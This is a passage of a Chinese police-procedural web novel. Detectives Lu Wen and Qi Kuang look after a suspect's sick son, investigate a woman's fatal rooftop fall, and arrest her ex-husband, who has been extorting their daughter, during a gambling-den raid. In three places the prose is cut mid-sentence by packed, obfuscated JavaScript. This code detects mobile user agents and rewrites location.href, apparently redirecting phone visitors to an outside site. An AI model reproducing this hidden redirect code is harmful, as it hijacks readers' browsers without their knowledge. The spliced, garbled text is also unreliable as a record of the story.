刚从审讯室里出来,陆闻就看见苏乐低着头靠在走廊墙边。大概是听见了陆闻的声音,后者转过身,看向来人的方向:“陆队。” “怎么了?” “我……”苏乐缓缓低下头,“对不起陆队,我让你失望了。刚才是我的问题,在对嫌疑人进行审讯时,我没能控制好个人情绪,我会回去写检讨的。” “你对不起什么?” 闻言,苏乐猛地抬头,却听见陆闻继续说道:“你之前就因为这种事写过检讨,对没错,你也确实写了,可你如果真的在当时就意识到自己的问题,不会在今天还能问出那种话。” “我……” “你知道为什么吗?”陆闻没等苏乐说话,打断她的话继续道。 “因为你只是写了篇检讨,你并没有真正意识到你自己的问题到底在哪里,如果是这样,那你写再多的检讨,也不过是走个形式,下次遇到同样的情况还会再犯。对吧?” 苏乐没说话,她没敢回答陆闻。 确实她是知道的,自己心里就是过不去这道坎儿,就算再来一次,她说不定还是会犯同样的错误。 “陆队,我当时,我以为自己可以。”苏乐紧抿着唇,“之后如果再遇到这种案件,我会申请回避的。” “先别着急回避,还有事情需要你帮忙处理。”陆闻摆摆手,语重心长道,“魏军父母年纪大了过不来,魏思傲那边最近没人看着,你找个女同志和你一起,暂时照看两天。” 苏乐却有些迟疑。 她不确定自己在见到魏思傲时,会不会又说出什么不该说的话,可现在陆闻这话,无疑是在给自己重新改过的机会。 “好的,陆队。” 陆闻没再说话,而后绕过苏乐,去了隔壁的监控室里。刚一进门,他就见齐况正戴着耳机坐在电脑前,可此刻的审讯室里早已经没有人在。 “齐况,想什么呢?” 后者似在走神,陆闻又走近喊了两声,他才终于反应过来:“陆队,怎么了?” “这应该是我问你才对吧。”陆闻在他旁边的椅子前坐下,“叫你这么多声都没听到,怎么了?” 齐况没立刻回答,他只愣愣地看着审讯室里刚才魏军坐过的位置。良久,才回过头面向陆闻:“我想去看看魏思傲。” 陆闻不解,齐况之前因为请假,所以并没有跟进这个案子,这个时候怎么会突然想去看魏思傲? “可以,正好我也有话要问魏思傲。”陆闻站起身,“不过今天已经很晚了,明天再说吧。” “好。” 第二天一早,陆闻提前去了队里,等到齐况过来之后,才和他一起去了魏思傲所在的医院。 齐况正偏着头看向窗外,冬月的寒风越过车窗闯进来,毫不留情地打在两人的脸上。 陆闻空出手将车窗关上,见齐况仍没什么反应,冷不丁地冒出一句:“早上有点冷,还是别开窗了。” 齐况这才回过神,心不在焉地嗯了一声。 正好行至路口,陆闻缓缓将车停下,而后朝副驾驶的人看过去。似乎是察觉到了有人在看自己,齐况才呆愣愣地转过头:“怎么了?” 陆闻没有回答,在和齐况对视几秒后,才移开视线道:“蔫儿了吧唧的,正常出任务的时候绝不允许这样,听到没?” 齐况这才反应过来:“对不起陆队,我会尽快整理好自己的情绪的。” 陆闻稍稍瞥了眼齐况,有些犹豫地开口:“说起来,你最近到底是怎么了,看起来比失恋的小马还难受。” 齐况没说话,只是把头压的低低的,陆闻看不清他此刻的表情。过了好一会儿,陆闻才听他说了一句:“前几天是我妈的忌日。” 陆闻怀疑自己是听错了,因为齐况说出这句话时,语气出奇的平静。可陆闻又坚信自己没有听错,因为他还从来没有见过这样的齐况。 “对不起啊,我不知道。” “没关系,这是我自己的事情,没人应该和我说对不起。”齐况的神情有些淡漠,其实大多数时候他都是如此。 两人进了病房,楼外的阳光透过窗户温暖地照进来,病房里此刻只有一人,静静地躺在床上看向窗外。 比起前几天陆闻和魏军过来时看到的魏思傲,现在他的脸色好像又差了些。 “魏思傲,”陆闻和齐况对视一眼,首先开了口。见人朝自己这边看过来,他便举起手里的菜粥,“给你带了早饭,先吃点吧?” 魏思傲这才开口:“你们,是谁?” 陆闻将早饭放在桌板上,却没抬头:“你爸爸的朋友。他说自己走得急,先托我们照看你两天。” “我爸爸有说什么时候能回来看我吗?” “这个他倒没告诉我,不过过段时间我们会送你回岑江,和爷爷奶奶生活在一起。可以吗?” 魏思傲瞥了眼陆闻已经摆在自己面前的粥碗,却没答他的话,只自顾自的吐出一句:“我想他。” 我想我的爸爸。 “我妈妈已经不要我了,我不想爸爸再离开我。”魏思傲抬起头,眼眶有些湿润,“叔叔,你们可以带我去找他吗?” “思傲,”陆闻轻轻拍了拍魏思傲的肩膀,“我知道现在对你来说有些残忍,可……你是个小男子汉不是吗,我们也应该,要学会为爸爸分担些什么,对吧?” 陆闻知道这些话对魏思傲说出来为时过早,甚至对于这个年纪的小朋友来说会有些接受不了,可比起现在就让魏思傲知道魏军的所作所为,他宁愿自己做个骗子。 魏思傲吸了吸鼻子,再抬起头时,眼神里却满是坚定:“我会的。爸爸说过,我是他的骄傲,所以我要努力让自己不再生病,我会变得坚强,这样等我长大了,就可以成为保护爸爸的大男子汉了。” 陆闻抬手揉了揉他的头发,鼻子有些发酸。 他回头朝齐况那边看过去时,却见后者神情恍惚,不知正在想些什么,便没喊他,而是又轻轻捏了一下魏思傲的脸颊:“好孩子。” 医院外,陆闻坐在走廊的石椅上,看着不远处的人来人往:“有些时候,对于一个普通人来说,能平平安安过完这一生,就已经很幸运了。” “我们都是,所以,往前看吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985493|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 齐况没有什么反应,只是眼神空洞地望着某一处。 他想了想,好像自己十五岁之前的生活里都充满着不幸,而之后的人生又未可知,所以现在于他的确是幸运的。 “怎么了?”不知过了多久,齐况才终于听到陆闻在喊自己的名字,“在想什么?” 齐况摇摇头:“没。” 陆闻大概猜到是有关他的母亲,可这种事情不便多问,于是就转移了话题:“对了,这个案子你并没有参与,怎么突然想要来看魏思傲了?” 齐况愣怔了一下,才朝陆闻那边看过去,而后微微扯起嘴角:“因为我想看看,被父亲保护的孩子。” 见陆闻面露不解,他又继续道:“没什么,你不用太在意这句话的。” 寒风萧瑟,吹落了枫树上迟迟不愿离开母亲怀抱的黄叶,它在空中旋舞片刻,便悄无声息地停在地上,只在人经过将其踩碎时,才短暂地发出最后一声哀鸣。 可没人会在乎一片落叶。 就像这个世界,亦不会在乎那些渺小的人一般。 蓝海的秋天过得很快,转眼已是白雪隆冬之季,城东区是老城区,年长者占多数,所以这里的年味儿来得格外地早。 陆闻拿着保温杯从车里出来,一阵寒风扑面而来,他紧了紧衣领,缩着脖子三步做两步进了大楼。 谁知刚转到走廊,就撞到薛文霖急急忙忙从办公室里出来:“怎么了小薛,这么着急?” “陆队,”薛文霖在陆闻的对面站定,“刚接到报案,报案人称自己家进了陌生人,我和同组的涂暄还有苏乐姐,准备先过去看看。” “好,有情况随时联系我。” 进到办公室之后,陆闻将保温杯放在一旁,而后拿过桌上的案卷翻看起来,在案卷的封面上,写着这么几个字——观海路废弃大楼爆炸案。 关于这起案件的现场,陆闻觉得还有很多疑点尚未解开,对于林一然的离开,在他心里也始终是个结。 他无数次在想,如果当时自己没有那么急躁,是否就能识出李天明的别有用心,那样的话,林一然也就不会出事。 可他现在能做的,就是找出当时的疑点,起码这样,林一然离开的也不会这么不明不白。 “陆队,”外面有人敲了几下门,将陆闻的思绪拉回,而后只见齐况推门进来,“这是李天明在爆炸案前后接触过人的名单,可能会有遗漏的地方。” “好,先放那儿吧。” 陆闻抬起头,有些疲惫地揉了揉眉心:“不过说起来,李天明之前藏了这么多年都没被找到,是个绝对谨慎的人,他要是有什么想隐瞒的,我们找起来还真没那么容易。” “嗯。”齐况点点头,后退几步坐在了旁边的沙发上,“对了,我在人员名单上有注意到,李天明在案发前后,分别与池氏、林氏和江氏的人都有过接触,不知道这里面会不会有什么关系。” “李天明和他们?”陆闻微微皱眉,像是在自言自语,“怎么会呢。池林江三家因为生意上的争夺,近几年尤其不对付,李天明和他们什么关系,竟然同时和三家都有联系?” 38. 第三只手 从城东分局赶到绿洲花苑,这是一条与生死竞速的路,可让陆闻没想到是,命运甚至都没留给他努力挽回的机会。 “天儿!”匆忙从车上跳下来之后,陆闻三步作两步进到了事故现场。 可在看见地上躺着的那具,已经被白布遮住的尸体,陆闻还是愣怔了一下:“其他人呢?” “薛诗璇的情绪一直不稳定,苏乐带着几个兄弟正在看着她,事发之后薛浩跑了,一组的兄弟们去追他了。” “好,”陆闻点点头,“我去那边看看。” 眼看着电梯上不断变化的数字,和突然安静下来的空间,陆闻却没来由的有些心乱。 他攥了攥捂在口袋里的手指,抬眼看向电梯门上模糊的人影,那人影同时也看向了他。 下一秒,电梯门上的人影被分裂成两半,陆闻抬步跨出电梯,而后停在一扇门前,抬手敲响。 “陆队。”开门的人是苏乐。 “嗯。” 陆闻点点头,绕过苏乐走了进去。刚进客厅,他就看见队里的几名警员坐成一排,而对面正是此次案件受害者的家属。 “薛诗璇。”陆闻喊了一声。 闻声,沙发上的女人缓缓抬头,在看清来人时,她的眼底闪过一丝震惊:“陆闻?” 从单元门出来之后,马永毅看着并排走在最前面的两人,碰了碰旁边的苏乐,低声道:“你说这个薛诗璇,以后会成为我们陆队的女朋友吗?” 苏乐啧了一声:“瞎说什么呢?” “不是你看啊,我们在那儿安慰这么久,人可一直没消停,可陆队来了之后呢?” 苏乐停下步子,看着马永毅一脸认真的表情,只朝陆闻那边喊了一声:“陆队!” “哎姐姐姐!”马永毅一把将苏乐拉了过去,见前面的陆闻回头,连忙摆手道,“没事儿没事儿陆队,乐姐就想叫叫你。” 苏乐憋着笑:“咱俩谁大啊,你就叫我姐?” “是是是,我大。那叫妹妹也不合适啊,这不是,对女同志表示尊重嘛。” 苏乐还没来得及说话,就被不远处的几人吸引住了目光,只见刚和二组一起去追捕薛浩的齐况现在已经回来了,和陆闻不知正在说些什么。 “苏乐,小马,”陆闻摆摆手,招呼两人过去,“你们俩,先带薛诗璇回去做个笔录。” “好的陆队。” “陆闻。”临走时,薛诗璇忍着泪看向陆闻,一字一句道,“如果不是因为他,我妈也不会这样,我求你,一定要帮我抓到他。” 陆闻没说话,再反应过来时,薛诗璇已经跟着苏乐和马永毅上了车。他有些烦躁地抓了抓头发,一晃眼,才注意到齐况还站在他的旁边。 “我高中同学,”陆闻插着口袋,转身往他们相反的方向走去。齐况紧随其后,“唐阿姨帮过我,这次出了这样的事,我确实也有些接受不了。” 齐况没答话,只是抬手搭在陆闻的肩膀上按了按,算是安慰。后者紧抿着唇:“我没事儿。倒是薛诗璇,她,其实日子还挺难过的。” 看完现场之后,陆闻和齐况先去了法医鉴定中心,韩唐正在工作室里对唐梦的尸体进行进一步的检查。 “韩法医,怎么样了?” 韩唐抬起头,眼神有些疲惫:“在死者的手背上发现了很多的抓痕,但是,尸体上除了薛诗璇的指纹和毛发,没有找到任何有关薛浩的痕迹。” “以此来看,薛浩嫌疑不大,薛诗璇却有一定的嫌疑,当然了,也不排除唐梦自己坠楼的可能。” “万一薛浩当时戴了手套和帽子呢?” 韩唐点点头:“有可能,但是需要证据来证明。” 陆闻沉着脸色,微微掀起眼帘看向韩唐:“你还记得江晴吗?” 韩唐没立刻回答,大概在脑海里过了一遍自己曾经尸检过的死者,良久,才点头道:“有这个印象。” “她确实是自杀,可在自杀之前,她又是被多少人逼的无路可退?唐梦跳楼之前,薛浩就在那里,那就有可能是……” “陆队!”齐况扯了扯陆闻的衣袖,及时将他未说完的话打断,“别太意气用事,我们现在还没有证据。” 韩唐倒没有太大的反应。 他拿过放在旁边的尸检报告,没再看对面的两人:“齐况说得对。陆队,我是法医,当然也只会相信死者尸体告诉我的证据。其他的,还是要靠你们来找。” 陆闻抬手按了按太阳穴:“不好意思,我有点太着急了。” 韩唐摇摇头。忽地,他像是想起什么,转身从桌上拿起一只证据袋:“对了,这是从死者身上发现的,上面除了唐梦的指纹什么也找不到,你们看一下有没有什么有用的线索。” 从法医鉴定中心出来后,陆闻就有些心不在焉,直到接到苏乐的电话,才说了这么一句:“苏乐说薛诗璇的情绪现在很不稳定,我们先回队里吧。” “是他害死了我妈,我恨他我恨他我恨他!” 刚打开询问室的门,两人就被薛诗璇尖锐的哭喊声吓了一跳。走在前面的陆闻揉了揉耳朵,首先抬起步子迈了进去:“怎么了这是?” “陆闻,”见进来的人是陆闻,薛诗璇立刻站起身扑了上去,“抓到他了吗?” 陆闻看着薛诗璇满是期待的眼神,却没答话,而是扶着她到了那边坐下:“你先别太激动,听我慢慢和你说。” 言罢,陆闻眼神示意苏乐和马永毅先出去,而后和齐况坐在了薛诗璇的对面。 但就算是陆闻的到来,也没能让薛诗璇的情况有所好转,她止不住地浑身颤抖着,可紧握的双手似乎又在表明身体的主人,此时正极力地控制自己。 “薛诗璇,我知道你现在很不好受,但如果可以的话,我还是想问你几个问题?” 薛诗璇深吸了一口气,而后点点头:“好。” “当时的情况是什么样的,可以说一下整个事件的过程吗?” 陆闻问的很小心,好在薛诗璇的情绪已经有些稳定下来:“当时,薛浩过来找到我。” 她的双手紧紧握着,指甲像是要嵌进肉里:“我和他发生了争执,他开始威胁我,我说我要报警,他就把我带上了天台。后来,他为了防止我真的报警,还把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985494|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的手机从天台上扔了下去。” “他管我要钱,说我不给他就要跳下去,还打电话给我妈,说我要逼他死,是杀人凶手,我妈被他吓到了,就赶紧回来了。” “你之前报过一次警,说是家里进了陌生人,就是薛浩对吧?他是从什么时候开始向你要钱的?” “对,就是他。”薛诗璇吸了吸鼻子,点头道,“应该是在,我参加工作的第四年。” “最开始,不知道他是从哪里弄到我的联系方式,于是就不停地给我打电话,我把他拉到黑名单之后,他又找到了我的家庭住址。” “那在他每次过来找你要钱的时候,你是直接给他了,还是有发生过什么争执?” “刚开始我不想给他的,可他威胁我,说我不给他就去找我妈要,我不想让我妈烦心就给了他。后来有一次是被我妈发现了,她很生气,和薛浩吵了一架,然后我们就搬走了。” “他又找到了你们新的住址?” “对,”薛诗璇点着头,抬眼看向两人的眼神里满是绝望,“他就像个阴魂不散的厉鬼,想要吸干我和我妈的全部,所以无论我们躲到哪里,他都能找到。” “那么按你所说,你和唐梦在此期间,其实都会给薛浩钱财?”见薛诗璇点头,陆闻接着又问了一句,“那么这次是因为什么矛盾,让你和薛浩产生的争执呢?” 闻言,薛诗璇握了握手指:“他问我要八万块钱。我说我没有,他知道我谈了个男朋友,就让我找我男朋友借,我很生气,就和他吵起来了。” “那唐梦去了之后呢,也就是案发之前,在天台上发生了什么?” 话音刚落,薛诗璇的情绪突然有些失控,掩面痛哭起来:“都怪我,如果不是因为我,我妈就不会死!不对,都怪他,是他把我们的生活给毁了,我恨他!” 大概是刚经历丧母之痛,每当问到天台上发生了什么时,薛诗璇总是情绪激动到难以回答。 陆闻决定让她先回去调整一下情绪,这下,所有的重点就集中在了薛浩身上。 “薛诗璇的家庭并不好,”陆闻靠在走廊尽头的窗台上,目光悠长地看向飞翔于云空的鸟,“高中时,薛诗璇因为生活拮据被同学嘲笑,那时我也就当是一个普通同学,没怎么关注过她。” “后来有一次,唐阿姨来学校找她,两人因为钱的事发生了争执。我那时候就爱多管闲事,不管三七二十一就跑上去劝架,这才认识的唐阿姨。” “唐阿姨是单亲妈妈,因为不识字,干的都是力气活,好不容易挣的钱,又被拿去给弟弟还债。” “听说在薛诗璇三岁的时候,母女俩就被薛浩赶出了家门,说是有人给他生了个儿子,于是自那之后,再也没管过她们。” “那些年,两人都挺难过的,现在薛诗璇好不容易有了稳定的工作,也马上要有新的家庭,唐阿姨出了这事,不知道她又要什么时候才能走出来了。” 齐况站在陆闻身后,只认真地听着他的回忆。 他忽地又想起之前陆闻的话,对于一个普通人来说,能够平平安安地过完一生,就已经很幸运了。 39. 第三只手 清晨的小街人来车往,多是提着大包小包的新鲜蔬菜,和商贩讲价的人,路边早饭摊儿上,包子出锅的香味伴着热气随风飘散,吸引着附近的食客。 “老板,来三块钱包子。” 薛浩从衣兜里掏出一卷纸币,他沾着唾沫细数了一遍,才从里面捻出张五块,又再用拇指和食指揉搓几下之后,才递给等在对面的摊主。 他哈了一口气,把塑料袋系紧抱在怀里,而后穿过两排自行车,走到一辆生锈的自行车前。 大概是因为车辆之间都凑的有些紧,薛浩拽了好几下,都没能把自己的自行车给拉出来。 他大声骂了几句,使劲儿挤到缝隙之间,旋即挥动手臂将身后的自行车猛地推倒。一瞬间,紧贴着的几辆车接连倒下,他却握紧车把调头,不慌不忙地骑上走远了。 “陆队,”薛文霖小跑着来到陆闻面前,喘了口气道,“没人应。” 陆闻没说话。他侧过头看向薛浩家那扇破旧的木门,出神良久:“薛浩平时的活动轨迹摸清了吗?” “听附近的邻居说,一天见不到薛浩几回。”薛文霖摇摇头,“我和齐哥之前还查了这附近的监控,薛浩基本都是起大早出去,很晚了才会回来。” “嗯……”陆闻若有所思地点点头,“行,先去现场和齐况他们汇合。” 两人一前一后上了车,陆闻便坐在副驾驶,认真地看起来他们对附近居民的询问记录。 “薛浩的儿子和现任妻子在哪儿,有注意过吗?” “听薛浩邻居家的大娘说,薛浩的妻子经常和他吵架,最后终于在四年前带着孩子离开了。而在妻儿离开后,薛浩就不知从哪里打听到了薛诗璇的住址。” “和她联系到,了解一下薛浩之前的生活轨迹。” “好。” 行驶到薛诗璇家楼下的时候,陆闻首先走下车,抬起头看向发生事故的天台。那天唐梦躺在血泊中的情景他还记得,这是他第一次与这么熟悉的人天人两隔。 “陆队,”和齐况从单元楼里出来的涂暄走在前面,看到他们之后首先招呼了一声。 陆闻猛地从记忆里拉回,旋即看向往这边过来的两人:“嗯,怎么样了?” “问完了,”齐况和涂暄走到两人对面站定,而后示意涂暄将东西递给陆闻,“这是薛诗璇补充的材料,还有些其他的,回去再详细说吧。” “嗯……”陆闻应了一声,却还是没忍住往楼上看了看,“薛诗璇她,现在怎么样了?” “好多了,”涂暄先一步点头应道,“尤其是在问到关于薛浩的问题,也能平静地回答我们了。” “薛诗璇还提供了几份和薛浩的聊天截图,我们回去再说吧。” 从薛诗璇家回到城东分局,陆闻立刻通知到队里负责本案的同事过去开会:“案件有了些新的进展,小薛,你来给大家说一下。” “好的。”薛文霖拿过记录本,起身走到众人对面站定,“薛诗璇那边给我们提供了几张聊天记录,内容都是薛浩在向她索要钱财时,一些带有威胁性的语言。” “而在这几条的对话里我们可以看出来,薛浩似乎是拿着这些钱去参与了赌博。”言罢,薛文霖指了指其中的几张照片。 “关于薛浩是否存在赌博行为,后来我联系到了他的妻子汪婷婷,据了解,在2015年,薛浩第一次从薛诗璇那里拿到钱之后,就整日的吃喝玩乐。最开始是在家附近的小卖部打牌,后来不知从哪里接触到一家私人的赌博场所。” “不过薛浩对这方面很是谨慎,能和他联系上的人,都不太清楚他平时会去哪些地方,稍后应该还要对他的活动范围进行摸排。” 陆闻点点头,补充道:“散会之后,一组,随时跟踪到薛浩所有的行动路线,二组负责在薛浩接触到的场所周围进行监视。有人一旦发现到可疑的地方,立刻联系大家。” 他站起身,走到薛文霖的身旁站定:“案发现场和受害者身上的线索太少,现在必须全力找到薛浩,不然只凭薛诗璇一个人的供词,我们很难继续查下去。” 从通往薛浩家的巷道到附近的小吃摊,负责监控薛浩行踪的警员都已经就位。 陆闻坐在路边的一辆轿车里,手边的对讲机里随时都会传来重要的信息,而他在等,等一个可以行动的机会。 “陆队陆队,”耳边传来一组同事的声音,“晨曦花店附近发现目标,正在往三十六巷方向靠近。” 陆闻没立刻回答,事先背下的地图在脑海里过了一遍之后,他猛地看向自己五点钟的方向,晨曦花店就在那里。 “先不要轻举妄动,二组的兄弟,盯紧三十六巷,一组继续追踪薛浩的路线。” 三十六巷是居民楼之间的一条窄小巷道,城东区多是这样的小路,纵横交错复杂且没有监控,想在这里一举制住薛浩,陆闻还没有这样的自信。 所以,一定要把握好时机。 “陆队,”没过多久,对讲机那边又传来个声音,“目标拐进了一户人家里。” “周围情况如何?” “一楼大院,周围也都有人住,外面看着很普通,大门在薛浩进去后就在里面挂锁了,暂时还不知道里面的情况。” 陆闻紧盯着车前人来人往,缓缓开口道:“先不要打草惊蛇,找几个人在那附近看着,注意进出的都有什么人,等确定里面的情况属实后再行动。” 刚进城东分局的大门,陆闻正好碰上从里面出来的韩唐:“呦,韩法医,怎么亲自过来了?” 韩唐没空理会他的贫嘴:“最近那边有点忙,还没问你,坠楼案怎么样了?” 陆闻的脸色正了正,认真道:“目前还找不到证据推测唐梦究竟是被推下去还是自己坠楼的。不过,我们在薛浩那边有新的发现,不久后应该就会有结果了。” “怎么,韩法医突然对我们这个案子感兴趣了?” 韩唐没立刻答话,而是拿出手机,举到陆闻的面前:“你看这个。” 见陆闻的头凑上来,他才开口继续道:“这是在唐梦的尸体上发现的一道淤青,伤口呈青紫色长条状,是在尸体右腿膝盖后上方三指的位置发现的。” “你的意思是,受害者生前曾碰撞到这个高度的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985495|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物品?”见韩唐点头,陆闻定了定神,似在思考接下来的行动,“我去通知技术那边,看来要马上再去一趟现场了。” 匆匆丢下这句话,还没等韩唐反应过来,陆闻就低下头往前走,可还没有迈出几步,他又折回头来到韩唐面前,拍了拍他的肩膀:“韩法医,谢谢你啊。” 闻言,韩唐微一挑眉:“应该的。” 再次来到薛诗璇所居住的小区,陆闻这次没有先惊动她,而是直奔天台的方向。这里的线索不太好找,露天就意味着随时会有风雨冲淡掉痕迹。 一到现场换好装备,大家就开始埋头寻找,之前可能会被他们遗漏掉的蛛丝马迹。 陆闻走到天台边,拿出卷尺量了下天台护栏的高度,与韩唐提供的数据误差并不大。 他朝周围几栋楼看了过去,之前他还没注意到,这栋楼的护栏比其他楼的竟然矮了这么多。 “小天儿,”陆闻回过神,就近喊了声在他旁边的常小天,“这里的护栏是一直就这么高的吗?” 常小天直起身,目光锁定在陆闻手里的卷尺上:“不是,我们之前问过这里的物业,这栋楼最开始使用的是玻璃护栏,后来准备换了才先把玻璃都给拆除的。” “物业那边说的是,这里平时很少有人上来,而且楼梯口也贴了警示语,不过为了方便维修工人进出,楼梯间的门是没有上锁的。” 陆闻点点头,示意常小天继续做自己的事,而后将测量到石台高度的照片发给了韩唐。 就在他准备把手机息屏的时候,屏幕上却突然出现来电显示:“喂,齐况,怎么了?” 陆闻拿起手机放在耳边,听着齐况在电话那边说道:“陆队,里面有情况。” 这个“里面”不用明说,陆闻知道正是齐况他们盯着三十六巷里的那个院子:“人跑了?” “不是,里面好像吵起来了。” 匆匆和常小天交代好这边的事情,陆闻就一刻不停地去到了三十六巷那边。齐况和薛文霖都在这边守着,见人过来,才压着声音道—— “陆队,这边是我和齐哥守着,涂暄和几个兄弟怕里面出事,就先绕到后面看看了。” “嗯,”陆闻点头道,“能听见里面吵的是啥吗?” 齐况摇摇头:“听不清内容,不过凑合能听见声音,像是在吵架。” “什么时候开始的?” “刚开始听的不清,只像是在院子里说话,后来不知道出了什么事,声音越来越大,我就赶紧给你打了电话。一直到现在声音也没停,还越来越嘈杂了,里面应该有不少人。” “嗯,这段时间一直有人进去吗?” “有,进去之后就没再出来过。” 陆闻点点头,正欲说话时,对讲机里忽地传来马永毅的声音:“陆队,陆队,目标建筑二楼位置有二十人左右,看起来是聚众赌博。” “没发现目标人物。”良久,马永毅又添了这么一句。 “一楼应该也有人,队里的兄弟们正往这边赶,先不要轻举妄动,检查一下周围,有路就堵死。” “明白。” 40. 第三只手 没过多久,三十六巷里里外外就迅速围上了许多人。霜寒天儿里的黑夜来得快,入了夜的蓝海静悄悄的,路上行人也少的可怜。 陆闻隐蔽在目标建筑附近的院墙后,静等着行动的最佳时机。不过片刻,大门一声闷响,院内有人影出现,陆闻知道,是薛浩到了要回家的时间。 “都有,”陆闻拿起对讲机,“行动!” 薛浩背对着,双手正卡在大门上的小窗口给门落锁,谁知道两三人突然从背后将他擒住,随后一队人推开还没来得及锁住的大门,迈起小碎步穿过大院往屋里和楼上去了。 薛浩惊得说不出话,只听见屋里喊了声:“都不许动,双手抱头蹲下。” “你们,你们是谁呀?”薛浩张了张嘴,想要挣开束缚,“放开我,我和他们不是一伙儿的!” “薛浩,”陆闻双手插兜,不紧不慢地走到他面前,“先跟我们走一趟吧。” 城东分局刑侦大队,几间审讯室里都亮着灯,陆闻从办公室里出来时,正遇上从审讯室那边过来的马永毅。 “哎小马,人都抓全了吧?” “陆队,”马永毅正捧着一杯热茶,“您放心,可一个都没让他溜掉,后来有几个人还想翻到后面逃跑,看到咱们的人以后又都乖乖的回去了。现在都蹲在审讯室里,就等着预审科的同志们过来了。” “好,”陆闻点点头,“那边的事你和苏乐他们多上心,我这边还有唐梦的案子要找薛浩先了解下情况。” “好嘞陆队,那我先过去看着了啊。” 眼看着马永毅的身影消失在走廊尽头,陆闻转身也进了隔壁的审讯室里。薛浩早被带了进来,还有齐况正坐在审讯桌前,目光凛冽地盯着眼前的人。 薛浩只觉得这人从坐下开始,浑身就透露着一股让人不敢轻易招惹的气息,便没敢多说话。 谁知眼下又来了个更不好招惹的,薛浩只好把头压得低低的。 “薛浩,”陆闻在齐况旁边坐下,“知道为什么把你抓来吗?” “我……”薛浩抬起头,瞥见齐况没再盯着自己,才稍硬气了些,“警察同志,我去那里就是找蔡凡有点事儿,其他的可什么都没干!” “找蔡凡有点事儿?”陆闻便笑了,“我算算啊,一连三天,天天从早上七点半到晚上十点多,你可都在蔡凡那儿待着没出来过,你这点事儿,还挺难办是吧?” “我这……” “好了,”陆闻出言打断他,“关于你和蔡凡他们的关系,待会儿会有人问你,我现在,只找你有一件事。” “你是说唐梦跳楼的那个事儿?” 没等陆闻答话,薛浩连忙摆手否认道:“警察同志,唐梦跳楼跟我可是半毛钱关系都没有啊,我当时确实就是想找那死丫头要些钱,没想着要害死她妈呀!” “你做没做不是你随便说说就算的,我们是拿证据说话,薛浩,想给自己洗清嫌疑呢,我们问你什么,你就老老实实的回答,知道吧?” 言罢,陆闻翻开面前的记录本,从里面拿出一张照片,“1992年你和唐梦离婚,并主动放弃薛诗璇的抚养权,声称此后和二人不会有任何关系,且坚决不出给薛诗璇的抚养费,对吧?” “是,”薛浩有些心虚,于是只小声地嘀咕道,“那女娃子有什么好养的……” 陆闻自然没听到他后面的话:“好。但是从2015年起,你又找到薛诗璇,并向其索要钱财,语言多带有威胁性。” “薛浩,在法律上你和薛诗璇早已经没有关系,你知不知道你这已经是构成敲诈勒索了?” 他挑眉看着对面的人,薛浩似是心虚的眼神躲闪,却还是嘴硬着开口:“什么法律不法律的,法律说我们没关系就是没关系了?那死丫头她身体里流着我的血,只要我一天不死,她就得乖乖的养着我!” “薛浩!”陆闻抬手拍桌,将身边的齐况和薛浩都吓得一激灵,“我现在给你机会,你最好是能好好的说,不然等会儿可就没这机会了!” 齐况拍了拍陆闻靠近自己这边的手腕,低声提醒道:“陆队,你不要太激动了。” 和陆闻交换了个眼神之后,齐况移开视线,将目光移到薛浩的方向:“薛浩,如果你真的想证明自己与本案没有关系,最好是能认真交代清楚那天事情发生的过程和细节,否则提供虚假证词阻挠警方办案,也是犯法的。” 齐况的语气虽听着温和,却带着一丝不可抵抗的意味在,薛浩悄悄看了眼陆闻的方向,斟酌良久才开口道—— “我那天,确实是去找了那死丫……” “说名字。”陆闻冷声开口道。 “得得得,薛诗璇,我去找了薛诗璇。”薛浩拍着面前的小桌板,“我那两天没钱了,就想去找她要点儿钱花。我知道她下班的时间,就提前蹲在她家门口,等她回来问她要了点儿。” 陆闻没看他,低着头不知在记些什么:“要了多少?” “就几千块钱。” 闻言,陆闻停下笔,抬眼朝薛浩看过去。或许是因为心虚,后者连忙改了口:“一两万,真的。” 见陆闻仍盯着自己,薛浩本能的想要移开目光,却还是没能抵挡住他如鹰般锐利的眼神:“八万,我找她要八万块钱。” “我在外面借了别人四万块钱,到期了人找我要,都催了好几回了。剩下那四万,我想自己能留着先花一段时间。” “欠的那四万块钱,是赌债吧?” “不不不不,不是,”薛浩忙摆手否认道,“我平时又不赌,哪有什么赌债来说的。” “继续。” “不用说的,她嫌我要的太多了,猛地一下没有这么多钱给我。这不摆明了骗人嘛,她住那么好的小区,打扮的又好看,天天背的那包儿,穿着那么贵的衣服,哎呀到我这儿就没钱了?我知道她处了个男朋友,我就说我着急用,不行先给五万,让她找她对象也凑点儿。” “谁知道她还不愿意了,扭头就想走,我就拉着她不让她走。这要是没钱还不了我也不用活了,我就求她,她不理我,还说要报警,她之前报过警,我有点害怕就先走了。” 